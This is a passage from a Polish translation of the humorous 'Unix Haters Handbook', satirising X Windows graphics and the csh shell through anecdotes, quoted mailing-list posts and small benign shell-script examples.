Zwykłe komendy X do odświeżania ekranu nie mogą usunąć tych napisów, ponieważ X nie ma dostępu do poziomów nakładki. Musiałem napisać program w C wywoływany z okna xterm który sprząta śmieci na poziomach nakładki.

Moja super karta graficzna 3D działa tylko na /dev/crt1, a X Windows tylko na /dev/crt0. Oczywiście to oznacza że nie mogę przesunąć myszki na obszar grafiki 3D, ale jak powiedział ktoś z pomocy technicznej HP „Po co właściwie wskazywać na coś co narysowałeś w 3D?”

Mit: X jest niezależny sprzętowo

X jest nadzwyczajnie zależny sprzętowo ponieważ cała grafika X jest opisana koordynatami pikseli. Grafika narysowana na ekranie innej rozdzielczości wychodzi w innych rozmiarach, więc musisz samemu przeskalować koordynaty jeśli chcesz mieć określony rozmiar. Nie wszystkie ekrany maja kwadratowe piksele: dopóki przeszkadzają ci prostokątne kwadraty i owalne koła, musisz też dostosować wszystkie koordynaty do współczynnika wielkości pikseli.

Tak proste zadanie jak wypełnianie kszałtów jest całkiem skomplikowane z powodu dziwacznych reguł wyświetlania obrazu opartych na pikselach. Kiedy wypełnisz kwadrat 10x10 przy pomocy XFillRectangle, wypełni 100 pikseli zgodnie z zamierzeniem. Ale dostaniesz „bonusowe” piksele kiedy te same argumenty podasz XDrawRectangle, ponieważ narysuje kwadrat 11x11, przesuwając jeden piksel w dół i w prawo!!! Jeżeli trudno ci w to uwierzyć, zajrzyj do manualu X: tom 1, sekcja 6.1.4. Jest tam protekcjonalnie opisane jak łatwo jest dodać 1 do pozycji x i y wypełnianego prostokąta, jednocześnie odejmując 1 od

94

Page 95: Unix Haters Handbook

wysokości i szerokości aby to skompensować, tak że trafia do środka konturu. Następnie wskazuje, że „w przypadku kątów sprawa jest znacznie trudniejsza do zastosowania (prawdopodobnie niemożliwa do zrobienia w sposób przenośny)”. To oznacza że przenośne wypełnianie arbitralnie wyskalowanego kąta bez częściowego jego zakrywania lub pozostawiania luk jest nie dającym się opanować problemem kiedy się używa X Window System. Pomyśl o tym. Nie możesz nawet narysować porządnego prostokąta z grubym konturem, ponieważ szerokość linii jest opisana w nieskalowanych jednostkach pikseli, więc jeśli twój wyświetlacz ma prostokątne piksele pionowe i poziome linie będą mieć różne grubości nawet jeśli przeskalowałeś współrzędne rogu prostokąta aby skompensować współczynnik wielkości.

Sprawa kolorów to zupełny latający cyrk. Podejście X do niezależności sprzętowej to traktowanie wszystkiego jak bufor ramki MicroVAX-a. Naprawdę przenośna aplikacja X musi działać jak uparty klient w skeczu Monty Pythona „Cheese Shop”, albo jak poszukiwacz Graala w „Monty Python and the Holy Grail”. Nawet najprostsza aplikacja musi odpowiedzieć na wiele trudnych pytań:

Serwer: Jaki jest twój wyświetlacz?Klient: display = XOpenDisplay("unix:0");

Serwer: Jaki jest twój root?Klient: root = RootWindow(display,DefaultScreen(display));

Serwer: A jakie jest twoje okno?Klient: win = XCreateSimpleWindow(display, root, 0, 0, 256, 256, 1,

BlackPixel(display,DefaultScreen(display)),WhitePixel(display,DefaultScreen(display)));

Serwer: W porządku, możesz przechodzić.(klient przechodzi)

Serwer: Jaki jest twój wyświetlacz?Klient: display = XOpenDisplay("unix:0");

Serwer: Jaka jest twoja mapa kolorów?Klient: cmap = DefaultColormap(display,

DefaultScreen(display));

Serwer: Jaki jest twój ulubiony kolor?Klient: favorite_color = 0; /* Czarny. */

/* Ups! Nie, chodziło o to: */ favorite_color = BlackPixel(display,

DefaultScreen(display));Klient: /* AAAYYYYEEEEE!!*/

(klient zrzuca core i spada w przepaść)

Serwer: Jaki jest twój wyświetlacz?Klient: display = XOpenDisplay("unix:0");

Serwer: Jaki jest twój visual?Klient: struct XVisualInfo vinfo;

if (XMatchVisualInfo(display,DefaultScreen(display),8, PseudoColor, &vinfo) != 0)

visual = vinfo.visual;

Serwer: A jaka jest szybkość sieciowa żądania XConfigureWindow?Klient: /* Chodzi o SubStructureRedirectMask czy

* o ResizeRedirectMask? */

Serwer: Co?! Skąd mam to wiedzieć? Aaaauuuggghhh!!!!(serwer zrzuca core i spada w przepaść)

95

Page 96: Unix Haters Handbook

Grafika X: kwadratowy kołek w okrągłym otworze

Programowanie X Windows to jak próba znalezienia pierwiastka kwadratowego z pi przy użyciu rzymskich liczb.

- AnonimPostScript-owy model wyświetlania obrazu stosowany przez NeWS i Display

PostScript, rozwiązuje wszystkie te straszliwe problemy w wyskopoziomowy, standardowy, niezależny sprzętowo sposób. NeWS ma zintegrowane rozszerzenia dla wejść, procesów niskiej wagi, sieci i okien. Może rysować i odpowiadać na wejście w tym samym arbitralnym systemie współrzędnych i definiować kształty okien poprzez ścieżki PostScriptowe. Rozszerzenie DisplayPostScript dla X jest pomyślane tylko jako wyjście i nie rozwiązuje żadnych problemów z systemem okien, które muszą być rozwiązywane wewnątrz X. NEXTSTEP jest zestawem narzędzi napisanych w Objective-C, na szczycie serwera okien NeXT-a. NEXTSTEP używa DisplayPostScript do wyświetlania obrazu, ale nie do wejścia. Ma świetny model wyświetlania obrazu i dobrze zaprojektowany zestaw narzędzi, ale serwer DisplayPostScript nie jest zaprojektowany do bycia programowanym interaktywnym kodem: zamiast tego wszystkie wydarzenia są przesyłane do klienta aby je przetworzył, a zestaw narzędzi działa w kliencie, traci się więc zalety NeWS związane z niską przepustowością, przełączaniem kontekstu i współdzieleniem kodu. Pomimo to nadal jest lepszy od X, któremu brakuje niezależnego sprzętowo modelu wyświetlania.

Z drugiej strony, wymowa X pozostaje niezmienna od lat, podczas gdy NeXT w róznych czasach nazywał swój produkt flagowy „NextStep”, „NeXTstep”, „NeXTStep”, „NeXTSTEP”, „NEXTSTEP” i w końcu „OpenStep”. Standardowa, spójna nazwa jest z pewnością łatwiejsza dla marketingowych błaznów.

Niestety, NeWS i NEXTSTEP były politycznymi porażkami ponieważ cierpiały z powodu tych samych dwóch problemów: nIEzNoŚnEj kapitalizacji i Amiga Persecution Attitude™ [??]

X: na drodze donikąd

Skoro X jest tak głupi, dlaczego ludzie go używają? Może ponieważ nie mają wyboru.Nikt naprawdę nie chce używać X: ludzie chcą móc używać kilku aplikacji w tym

samym czasie używając dużego ekranu. Jeśli chcesz używać Unixa, to jest albo X albo tępy terminal znakowy.

Wybierz sobie truciznę.

96

Page 97: Unix Haters Handbook

Oficjalna wiadomość, przesłać natychmiast

XNiebezpieczny wirus!

Najpierw trochę historii: X window system uciekł z Projektu Athena z MIT gdzie był trzymany w izolacji. Kiedy stwierdzono ucieczkę, MIT ogłosił publicznie że „MIT nie ponosi żadnej odpowiedzialności...” To było bardzo niepokojące oświadczenie. Następnie zinfiltrował Digital Equipment Corporation, gdzie uszkodził techniczny rozsądek tej organizacji.

Po zasabotażowaniu DEC, złowrogie X Consortium zostało założone aby znaleźć sposób na użycie X jako części planu dominacji i kontroli interaktywnych systemów okien na całej planecie. X windows są czasami rozprowadzane przez to tajemne konsorcjum za darmo wśród niczego nie podejrzewających ofiar. Destrukcyjne koszty spowodowane X-em nie mogą być nawet oszacowane.

X jest naprawdę groźny – czy okalecza twój twardy dysk, czy aktywnie infekuje twój system, możesz być pewien że jest niedobrze. Niewinni użytkownicy powinni być chronieni przed tym niebezpiecznym wirusem. Kiedy to czytasz, źródła dystrybucji X i pliki wykonywalne są utrzymywane na setkach komputerów, może też i na twoim.

DEC już dostarcza maszyny które niosą tą straszliwą infekcję. To musi być zniszczone.

To się dzieje kiedy program z dobrymi intencjami staje się zły. Gnębi niewinnych użytkowników wypaczając ich poczucie co jest a co nie jest dobrym oprogramowaniem. Ten wrogi system okien musi być zniszczony.

Ostatecznie, DEC i MIT muszą ponieść odpowiedzialność za tą haniebną zbrodnię programową, muszą zostać doprowadzeni do sprawiedliwości i zapłacić za czyszczenie oprogramowania. Dopóki DEC i MIT nie odpowiedzą za te zarzuty, powinni być traktowani jako chroniący i pomagający niebezpiecznym przestępcom programowym.

Nie daj się oszukać! Powiedz nie dla X.

X windows. Pomyłka doprowadzona do perfekcji. X windows. Niezadowolenie gwarantowane. X windows. Nie bądź sfrustrowany bez niego. X windows. Nawet twój pies by tego nie chciał. X windows. Rozpadający się i zbudowany tak, żeby tak zostało. X windows. Złożone nierozwiązania prostych nieproblemów. X windows. Niewiarygodnie spieprzony. X windows. Forma idzie za niesprawnością. X windows. Śmieć pod twoimi palcami. X windows. Ignorancja to siła. X windows. Może być gorszy, ale to potrwa. X windows. To może się zdarzyć i tobie. X windows. Tajna broń Japonii. X windows. Przeżyj koszmar. X windows. Więcej niż potrzeba sznurka. X windows. Potężne narzędzia dla potężnych frajerów. X windows. Ustala nowe limity produktywności. X windows. Prostota staje się złożona. X windows. Zaawansowana przestarzałość. X windows. Pierwsza całkowicie modułowa katastrofa programowa. X windows. Sztuka niekompetencji. X windows.

97

Page 98: Unix Haters Handbook

Dowcip który zabija. X windows. Problem dla twojego problemu. X windows. Musi być lepszy sposób. X win-dows. Ostrzeż swoich przyjaciół. X windows. Lepiej usiądź. X windows. Będziesz zazdrościł śmierci.

Część druga:

System dla programisty?

98

Page 99: Unix Haters Handbook

Rozdział 8: csh, pipes i find

Potężne narzędzia dla potężnych głupców.

Mam naturalną odrazę do każdego systemu operacyjnego, który pokazuje tak mało planowania, że wszystkie swoje komendy nazwał od dźwięków trawiennych (awk, grep, fsck, nroff).

- Anonim

Unixowa metafora „potężne narzędzia” to kaczka dziennikarska. Jest niczym więcej jak tylko sloganem, za którym Unix ukrywa swoją tajemniczą łataninę komend i pisanych ad hoc programów użytkowych. Naprawdę potężne narzędzie wzmacnia siłę użytkownika przy niewielkim wysiłku lub instrukcji. Każdy umiejący używać śrubokręta lub ręcznej wiertarki może używać elektrycznego śrubokręta lub elektrycznej wiertarki. Użytkownik nie musi rozumieć istoty elektryczności, magnetyzmu, zasady działania silnika, problemów rozpraszania ciepła czy konserwacji. Musi po prostu włączyć ją do gniazdka, założyć okulary bezpieczeństwa i wcisnąć wyłącznik. Większość ludzi daje sobie spokój z okularami. Trudno znaleźć narzędzie które jest fatalnie wadliwe w sklepie metalowym: większość źle zaprojektowanych narzędzi albo w ogóle nie wchodzi na rynek albo powoduje kosztowne procesy, usuwające je z rynku i karzące ich producentów.

Unixowe narzędzia nie mieszczą się w tej formie. Przeciwnie do przyzwoitych celów projektantów chcących mieć proste i jednozadaniowe narzędzia, dzisiejsze narzędzia Unixowe mają za dużo funkcji. Na przykład ls, program który kiedyś tylko listował pliki, teraz ma 18 różnych opcji kontrolujących wszystko od porządku sortowania do liczby kolumn w których następuje wydruk – wszystkie te funkcje są lepiej obsługiwane przez inne narzędzia (i kiedyś były). Komenda find oprócz wyszukiwania plików zapisuje pliki wyjściowe w formacie cpio (co można by łatwo uzyskać łącząc dwie komendy niesławną Unixową „rurą” (pipe)). Dzisiejszy Unixowy odpowiednik elektrycznej wiertarki miałby 20 pokręteł i przełączników, byłby dostarczany z niestandardową wtyczką, wymagałby od użytkownika ręcznego przewinięcia uzwojenia silnika i nie akceptowałby wierteł 3/8” i 7/8” (chociaż byłoby to udokumentowane w sekcji BŁĘDY instrukcji obsługi).

W przeciwieństwie do narzędzi w sklepie metalowym, większość Unixowych narzędzi jest wadliwych (czasami fatalnie): na przykład tar ze swoim arbitralnym limitem 100 znaków w ścieżce dostępu albo debuggery Unixowe, które nadpisują twój plik „core” swoim własnym plikiem „core” kiedy się wywalą.

Unixowe „potężne narzędzia” bardziej przypominają nóż sprężynowy który obetnie palce operatora szybko i efektywnie.

Shellowa gra

Wynalazcy Unixa mieli świetny pomysł: stworzyć procesor komend jako kolejny program na poziomie użytkownika. Jeśli użytkownik nie lubi domyślnego procesora komend, może napisać swój własny. Co więcej, shell może ewoluować, prawdopodobnie więc może stawać się potężniejszy, elastyczniejszy i łatwiejszy w obsłudze.

To był świetny pomysł, ale nie wypalił. Powolne narastanie funkcji spowodowało zamieszanie. Ponieważ nie były zaprojektowane, ale ewoluowały, przekleństwo wszystkich

99

Page 100: Unix Haters Handbook

języków programowania – zainstalowana baza programów – dotknęła ich szczególnie mocno. Zawsze kiedy jakaś funkcja została dodana do shella, ktoś napisał skrypt shellowy opierający się na tej funkcji, tym samym zapewniając jej przetrwanie. Złe pomysły i funkcje nie wymierają.

Wynikiem jest dzisiejsza mnogość niekompletnych, niekompatybilnych shelli (opisy każdego shellu z odpowiedniego manualu):

sh Język programowania komend który wykonuje komendy odczytane z terminalu lub z pliku.

jsh Identyczny [do sh] ale z włączoną kontrolą zadań w stylu csh.csh Shell ze składnią w stylu C.tcsh Csh z edycją w stylu emacsa.ksh KornShell, kolejny język komend i programowania.zsh Z shell.bash GNU Bourne-Again SHell.

Sklepy metalowe oferują śrubokręty lub piły trzech lub czterech różnych firm, które działają w podobny sposób. Typowy katalog /bin albo /usr/bin w Unixie zawiera setki programów różnych rodzajów, napisanych przez tuziny egoistycznych programistów, każdy z własną składnią, paradygmatem działania, regułami użycia (ten działa jako filtr, ten działa na plikach tymczasowych itd.), różnymi strategiami wyszczególniania opcji i różnymi zestawami ograniczeń.

Rozważmy program grep i jego kuzynów fgrep i egrep. Który z nich jest najszybszy? Ironicznie, egrep może być nawet o połowę szybszy niż fgrep, nawet mimo że fgrep używa ciągów o stałej długości które rzekomo powodują że wyszukiwanie jest „szybkie i zwarte”. Dlaczego te trzy programy mają inne opcje i implementują trochę inną składnię „wyrażeń regularnych”? Dlaczego nie istnieje program łączący w sobie funkcjonalność tych trzech? Kto jest za to odpowiedzialny?

Po opanowaniu różnic pomiędzy różnymi komendami i przeniesieniu tajemnej wiedzy do pamięci długoterminowej, nadal często będziesz zaskoczony i przerażony.

Przytoczmy kilka przykładów.

Awaria shella

Następująca wiadomość została wysłana do elektronicznego biuletynu zajęć z kompilatorów na Uniwersytecie Columbia.

Temat: Poważny błąd w UnixieListopad 11, 1991

Koledzy studenci W4115x-

Podczas gdy omawiamy temat aktywacji rekordów, przekazywania argumentów i konwencji wywoływania, czy wiecie że pisząc:

!xxx%s%s%s%s%s%s%s%s

w jakimkolwiek C-shellu spowodujecie jego natychmiastową awarię? Czy wiecie dlaczego?

Pytania do przemyślenia:

100

Page 101: Unix Haters Handbook

Co shell robi kiedy napiszesz „!xxx”? Co musi robić z wejściem kiedy wpiszesz „!xxx%s%s%s%s%s%s%s%s”? Dlaczego shell się wywala? Jak można by (raczej łatwo) przepisać winną część shella żeby nie mieć tego

problemu?NAJWAŻNIEJSZE:

Czy wygląda rozsądnie że ty (tak, ty!) możesz powalić Przyszły System Operacyjny Świata na kolana w 21 naciśnięciach klawiszy?

Wypróbujcie sami. Zgodnie z projektem Unixa, katastrofa shella zabija wszystkie procesy i wylogowuje użytkownika. Inne systemy operacyjne wyłapią niewłaściwe odwołanie do pamięci i wyrzucą cię do debuggera. Nie Unix.

Może właśnie dlatego shelle Unixowe nie pozwalają na ich rozszerzanie poprzez ładowanie kodu nowych obiektów do ich obrazów pamięci albo przez odwołania do kodu obiektów w innych programach. To byłoby zbyt niebezpieczne. Zrób jeden fałszywy ruch i – bam – jesteś wylogowany. Zero tolerancji dla błędu programisty.

Metasyntaktyczne zoo

Metasyntaktyczne zoo operatorów w C-shellu powoduje niezliczone problemy z cudzysłowami i ogólne zamieszanie. Operatory metasyntaktyczne przetwarzają komendę zanim jest wykonywana. Nazywamy te operatory metasyntaktycznymi ponieważ nie są częścią składni komendy, ale operatorami komendy. Operatory metasyntaktyczne (czasami nazywane operatorami escape) są znane większości programistów. Na przykład odwrotny ukośnik (\) wewnątrz ciągów w C jest metasyntaktyczny; nie reprezentuje siebie ale jakąś operację na następujących po nim znakach. Jeżeli chcemy aby operator metasyntaktyczny oznaczał siebie samego, musimy to w jakiś sposób zaznaczyć, aby system zinterpretował operator jako zwykły tekst. Na przykład wracając co ciągów w C, jeżeli chce się mieć odwrotny ukośnik w ciągu, trzeba napisać \\.

Zwykłe zaznaczanie ledwo działa w C-shellu ponieważ nie ma umowy pomiędzy shellem a programami jakie wywołuje w imieniu użytkownika. Na przykład rozważmy prostą komendę:

grep ciąg nazwa_pliku:

Jeśli ciąg zawiera znaki takie jak ?, [ i ], jakie są metasyntaktyczne dla shella, możesz musieć je umieścić w cudzysłowie. Ale możesz też nie musieć w zależności od rodzaju shella jakiego używasz i od ustawień zmiennych środowiskowych.

Szukanie ciągów zawierających kropki albo jakiegokolwiek wzorca zaczynającego się od myślnika komplikuje sprawę. Pamiętaj aby zaznaczyć swoje meta-znaki w sposób właściwy. Niestety, podobnie jak z dopasowywaniem do wzorca, niezliczone niekompatybilne konwencje zaznaczania są w użyciu w systemie operacyjnym.

Metasyntaktyczne zoo C-shella zamieszkuje siedem rodzin operatorów metasyntaktycznych. Ponieważ zoo było zamieszkałe przez dłuższy czas, a klatki zrobiono z cyny zamiast ze stali, mieszkańcy pomieszali się ze sobą. Siedem różnych transformacji linii komend shella to:

Aliasy alias i unaliasPodstawienie wyjścia komend `Podstawienie nazwy pliku *, ?, []Podstawienie historii !, ^

101

Page 102: Unix Haters Handbook

Podstawienie zmiennych $, set, unsetPodstawienie procesów %Zaznaczanie ‘, ”

W rezultacie tego „projektu”, znak zapytania jest zgubiony na zawsze do przeprowadzania dopasowania pojedyńczego znaku: nigdy nie może być użyty jako pomoc w linii komend ponieważ nigdy nie zostanie przepuszczony do programu użytkownika, jako że Unix wymaga żeby operatory metasyntaktyczne były interpretowane przez shell.

Posiadanie siedmiu różnych klas operatorów metasyntaktycznych nie byłoby takie złe gdyby miały logiczną kolejność operacji i gdyby reguły ich podstawiania były jednakowo stosowane. Ale nie mają i nie są.

Date: Mon, 7 May 90 18:00:27 -0700From: Andy Beals <[email protected]>Subject: Re: today’s gripe: fg %3To: UNIX-HATERS

Nie tylko %emacs albo nawet %e restartuje zadanie [jeśli to unikalne dopasowanie], ale można nawet napisać %?foo jeśli podciąg „foo” pokazał się w linii komend.

Oczywiście, !ema i !?foo działają do podstawiania historii.Mimo tego szpilkogłowi w UCB nie zrobili tak, żeby !?foo rozpoznawał

późniejsze komendy edycji, tak że c-shell z uszkodzonym mózgiem nie rozpozna rzeczy typu

!?foo:s/foo/bar&/:p

Czy naprawdę tak trudno skanować naprzód w poszukiwaniu znaku edycji?

Wszystko razem powoduje zmieszanie nawet u Unixowych „ekspertów”. Weźmy przypadek Milta Epsteina, który chciał znać sposób napisania skryptu shellowego przy pomocy którego można by określić dokładną linię poleceń, bez żadnego wstępnego przetwarzania przez shell. Stwierdził że nie jest to łatwem ponieważ shell wykonuje wiele rzeczy „w imieniu” programu. Ominięcie wstępnego przetwarzania przez shell wymagało niesamowicie tajemnej inkantacji która nawet nie dla wszystkich ekspertów była zrozumiała. To jest typowe dla Unixa, który proste rzeczy czyni niewiarygodnie trudnymi po prostu dlatego, że o nich nie pomyślano kiedy Unix był budowany:

Date: 19 Aug 91 15:26:00 GMTFrom: [email protected]: ${1+“$@”} in /bin/sh family of shells shell scriptsNewsgroups: comp.emacs,gnu.emacs.help,comp.unix.shell

>>>>> On Sun, 18 Aug 91 18:21:58 -0500,>>>>> Milt Epstein <[email protected]> said:Milt> co robi “${1+“$@”}”? Jestem pewien że chodziMilt> o odczytanie reszty argumentów listy poleceń, aleMilt> nie jestem pewien co tak właściwie robi.

To jest sposób na dokładne odwzorowanie argumentów linii poleceń w skrypcie shellowym rodziny shellów /bin/sh.

102

Page 103: Unix Haters Handbook

Oznacza to, „Jeśli jest chociaż jeden argument (${1+), podstaw wszystkie argumenty („$@”) zachowując wszystkie spacje itd.

Gdybyśmy użyli tylko „$@” dostalibyśmy „” (argument zerowy) jeżeli nie byłoby argumentów wywołania, ale w takim wypadku nie chcemy żadnych argumentów odtworzonych, nie „”.

Dlaczego nie „$*”? Z manuala sh(1):

Wewnątrz cudzysłowiów („”) zachodzi podstawianie parametrów i komend i shell zaznacza wyniki aby uniknąć złej interpretacji i tworzenia nazw plików. Jeżeli wewnątrz cudzysłowiów jest $*, poszczególne parametry zostaną podstawione i zaznaczone, oddzielone spacjami wewnątrz zaznaczenia („$1 $2 ...”), natomiast kiedy wewnątrz cudzysłowiów jest $@, poszczególne parametry będą podstawione i zaznaczone, oddzielone spacjami na zewnątrz zaznaczenia („$1” „$2” ...).

Myślę że ${1+”$@”} jest całkowicie wstecz kompatybilny do „Version 7 Unix”.

Świetnie! Całkowita wsteczna kompatybilność do Version 7.

Shellowa komenda „chdir” nie działa

Błędy i oczywiste dziwne zachowanie są wynikiem długiej ewolucji Unixa dokonywanej przez niezliczonych autorów, próbujących pchnąć system operacyjny w różnych kierunkach, nie oglądając się przy tym na działania innych.

Date: Mon, 7 May 90 22:58:58 EDTFrom: Alan Bawden <[email protected]>Subject: cd . . : I am not making this upTo: UNIX-HATERS

Co może być prostsze niż komenda „cd”? Rozważmy prosty przypadek „cd ftp”. W moim bieżącym katalogu, /home/ar/alan jest podkatalog nazwany „ftp”, który będzie moim nowym katalogiem bieżącym. Tak więc jestem w /home/ar/alan/ftp. Proste.

Wszyscy wiecie o „.” i „..”? Każdy katalog ma dwa wpisy w sobie: jeden („.”) odnosi się do samego katalogu, a drugi („..”) do katalogu nadrzędnego. Tak więc w naszym przykładzie mogę wrócić do /home/ar/alan pisząc „cd ..”.

Przypuśćmy że „ftp” jest linkiem symbolicznym. Przypuśćmy że odnosi się do katalogu /com/ftp/pub/alan. Pisząc „cd ftp” ląduję w /com/ftp/pub/alan.

Tak jak wszystkie katalogi /com/ftp/pub/alan zawiera wpis nazwany „..”, który odnosi się do katalogu nadrzędnego: /com/ftp/pub. Przypuśćmy że chcę tam wejść, więc piszę:

% cd ..

I co? Jestem z powrotem w /home/ar/alan! Gdzieś w shellu (najwyraźniej używamy w AI Lab czegoś o nazwie „tcsh”) coś zapamiętuje że był link który mnie skierował do /com/ftp/pub/alan, i komenda cd uważa że raczej wolę wrócić do katalogu zawierającego link. Jeżeli naprawdę chcę wejść do /com/ftp/pub, muszę wpisać „cd ./..”.

103

Page 104: Unix Haters Handbook

Programowanie shella

Programiści shella i klonujący dinozaury w Parku Jurajskim mają wiele wspólnego. Nie mieli wszystkich potrzebnych części, więc wypełnili brakujące części losowym materiałem genetycznym. Pomimo przerażającej pewności siebie i umiejętności, nie zawsze mogli kontrolować swoje twory.

Programy shellowe, według teorii, mają ogromną przewagę nad programami napisanymi w języku typu C: programy shellowe są przenośne. Program napisany w shellowym „języku programowania” może być uruchomiony na wielu różnych wersjach Unixa działających na wielu różnych architekturach sprzętowych, ponieważ shell interpretuje te programy, zamiast je kompilować do kodu maszynowego. Co więcej, sh, standardowy shell Unixa, jest centralną częścią Unixa od 1977 i tym samym znajdziemy go na każdej maszynie.

Sprawdźmy teorię przez napisanie skryptu shellowego aby wypisać nazwę i typ każdego pliku w katalogu używając programu file:

Date: Fri, 24 Apr 92 14:45:48 EDTFrom: Stephen Gildea <[email protected]>Subject: Simple Shell ProgrammingTo: UNIX-HATERS

Dzień dobry klaso. Dzisiaj nauczymy się programować w „sh”. Shell „sh” jest prostym, uniwersalnym programem, ale zaczniemy od prostego przykładu:

Wypisz wszystkie pliki w katalogu i ich typy.(Słyszałem tą uwagę z tyłu! Ci z was którzy są trochę zaznajomieni ze shellem

i znudzeni tym mogą napisać „uruchom klienta X11 na zdalnej maszynie”. W międzyczasie, cisza!)

Ucząc się sh, oczywiście chcemy żeby program który napiszemy był mocny, przenośny i elegancki. Zakładam że wszyscy przeczytaliście właściwe manuale, więc poniższe rozwiązanie powinno być trywialnie oczywiste:

file *

Bardzo ładne, nieprawdaż? Proste rozwiązanie prostego problemu: * dopasowuje wszystkie pliki w katalogu. Cóż, niezupełnie. Pliki zaczynające się od kropki są uważane za nieinteresujące, i * nie dopasuje ich. Prawdopodobnie nie ma ich tutaj, ale chcemy być dokładni, więc użyjemy „ls” ze specjalną flagą:

for file in `ls -A`dofile $filedone

Gotowe: eleganckie, dokładne… Ojej, „ls” na niektórych systemach nie przyjmuje flagi „-A”. Nie ma problemu, użyjemy „-a” i pominiemy pliki . i .. :

for file in `ls -a`doif [ $file != . -a $file != .. ]thenfile $filefi

104

Page 105: Unix Haters Handbook

done

Nie jest już tak eleganckie, ale przynajmniej dokładne i przenośne. Co? „ls –a” też nie wszędzie działa? W porządku, użyjemy zamiast tego „ls –f”. Poza tym jest szybsze. Mam nadzieję że jest to oczywiste po przeczytaniu manuali.

Hmm, prawdopodobnie w ogóle nie jest dobrze. Nazwy plików Unixa mogą zawierać każdy znak (oprócz ukośnika). Spacja w nazwie pliku rozwali cały skrypt, ponieważ shell potraktuje tą nazwę jak dwa pliki. Cóż, nie tak trudno sobie z tym poradzić. Po prostu zmienimy IFS żeby nie obejmował spacji (i Tab-u skoro już o tym mowa), i ostrożnie zaznaczymy (nie za dużo, nie za mało!) nasze zmienne, jak tutaj:

IFS=''for file in `ls -f`doif [ "$file" != . -a "$file" != .. ]thenfile "$file"fidone

Niektórzy z was na pewno zauważyli że problem zmniejszyliśmy, ale nie wyeliminowaliśmy, ponieważ wysuw linii (LF) jest dopuszczalnym znakiem w nazwie pliku, i nadal jest w IFS. Nasz skrypt stracił swoją prostotę, tak więc czas na powtórne przyjrzenie się naszemu podejściu. Jeżeli wyeliminujemy „ls” nie będziemy musieli martwić się przetwarzaniem jego wyjścia. Spróbujmy

for file in .* *doif [ "$file" != . -a "$file" != .. ]thenfile "$file"fidone

Wygląda dobrze. Obsługuje pliki z kropką i ze znakami niedrukowalnymi. Dodaliśmy kilka dziwnie nazwanych plików i skrypt nadal działa. Ale ktoś wypróbował go na pustym katalogu, i wzorzec * produkuje „No such file”. Ale możemy dodać sprawdzanie tego...

... w tym miejscu moja wiadomość prawdopodobnie staje się za długa dla waszych czytników uucp, więc obawiam się że będę musiał przerwać w tym miejscu i pozostawić naprawienie pozostałych błędów czytelnikowi jako ćwiczenie.

Stephen

Jest tutaj inny duży problem, który ciągniemy od samego początku. Unixowy program file nie działa.

Date: Sat, 25 Apr 92 17:33:12 EDTFrom: Alan Bawden <[email protected]>Subject: Simple Shell ProgrammingTo: UNIX-HATERS

105

Page 106: Unix Haters Handbook

HEJ! Poczekaj chwilę. Proponujesz użyć programu „file”? Każdy kto chce się dobrze pośmiać, powinien przerwać w tym miejscu, znaleźć maszynę Unixową i spróbować wpisać „file *” w katalogu pełnym różnych plików.

Na przykład właśnie uruchomiłem „file” w katalogu pełnym kodów źródłowych C – oto wybór rezultatów:

arith.c: c program textbinshow.c: c program textbintxt.c: c program text

Jak dotąd w porządku. Ale dalej:

crc.c: ascii text

Widzicie, „file” nie patrzy na „.c” w nazwie pliku, ale używa jakiejś heurystyki opartej na sprawdzaniu zawartości pliku. Najwyraźniej crc.c nie wygląda wystarczająco na kod C – chociaż dla mnie to raczej nie może być cokolwiek innego.

gencrc.c.~4~: ascii textgencrc.c: c program text

Wygląda na to, że zmieniłem coś po wersji 4 co spowodowało że gencrc.c wygląda bardziej jak C...

tcfs.h.~1~: c program texttcfs.h: ascii text

podczas gdy tcfs.h wygląda mniej jak C po wersji 1.

time.h: English text

Zgadza się, time.h najwyraźniej wygląda raczej na angielski niż na ASCII. Ciekawe czy „file” ma reguły rozpoznawania dla hiszpańskiego albo francuskiego? (Przy okazji, typowy plik źródłowy TeX-a jest klasyfikowany jako „ascii text” a nie „English text”, ale to tylko dygresja...)

words.h.~1~: ascii textwords.h: English text

Może dodałem jakieś komentarze do words.h po wersji 1?Ale najlepsze zachowałem na koniec:

arc.h: shell commandsMakefile: [nt]roff, tbl, or eqn input text

Oba całkiem źle. Ciekawe co by było gdybym spróbował użyć ich zgodnie z opisami dokonanymi przez program „file”?

- Alan

Zmienne shella nie są zmienne

Alanowi mogły się zdarzyć gorsze rzeczy. Mógł, na przykład, próbować używać zmiennych shella.

106

Page 107: Unix Haters Handbook

Jak wspominaliśmy wcześniej, sh i csh implementują zmienne shellowe z lekkimi różnicami. Nie byłoby to takie złe, poza składnią zmiennych shellowych – kiedy są definiowane, atomizacja operacji zmiany i inne zachowania są w dużym stopniu nieudokumentowane i źle zdefiniowane. Często zmienne shellowe zachowują się w dziwne, przeciw-intuicyjne sposoby które mogą być zrozumiane dopiero po szczegółowych eksperymentach.

Date: Thu, 14 Nov 1991 11:46:21 PSTFrom: Stanley’s Tool Works <[email protected]>Subject: You learn something new every dayTo: UNIX-HATERS

Uruchomienie tego skryptu:

#!/bin/cshunset fooif ( ! $?foo ) thenecho foo was unsetelse if ( "$foo" = "You lose" ) thenecho $fooendif

produkuje taki błąd:

foo: Undefined variable.

Żeby skrypt działał we właściwy sposób, trzeba go przerobić mniej więcej tak:

#!/bin/cshunset fooif ( ! $?foo ) thenecho foo was unsetset fooelse if ( "$foo" = "You lose" ) thenecho $fooendif

[Zauważ potrzebę ‘set foo’ po tym jak odkryliśmy, że nie jest ustawiona].Jasne, co?

Kody błędów i sprawdzanie błędów

Nasz przykład programistyczny pokazuje jak komenda file raportuje błędy z powrotem do shella. Cóż, w ogóle tego nie robi. Błędy są ignorowane. To zachowanie nie jest przeoczeniem: większość skryptów shellowych Unixa (i innych programów też) ignoruje kody błędów które mogą być wygenerowane przez wywołany program. To zachowanie jest akceptowalne ponieważ nie ma standardowej konwencji określającej które kody powinny być zwracane przez programy w celu wskazania błędów.

Prawdopodobnie kody błędów są uniwersalnie ignorowane ponieważ nie są wyświetlane kiedy użytkownik wpisuje komendy w shellu. Kody błędów i sprawdzanie błędów są tak odległe od Kanonu Unixa że wiele programów nie przejmuje się ich raportowaniem.

Date: Tue, 6 Oct 92 08:44:17 PDT

107

Page 108: Unix Haters Handbook

From: Bjorn Freeman-Benson <[email protected]>Subject: It’s always good news in Unix landTo: UNIX-HATERS

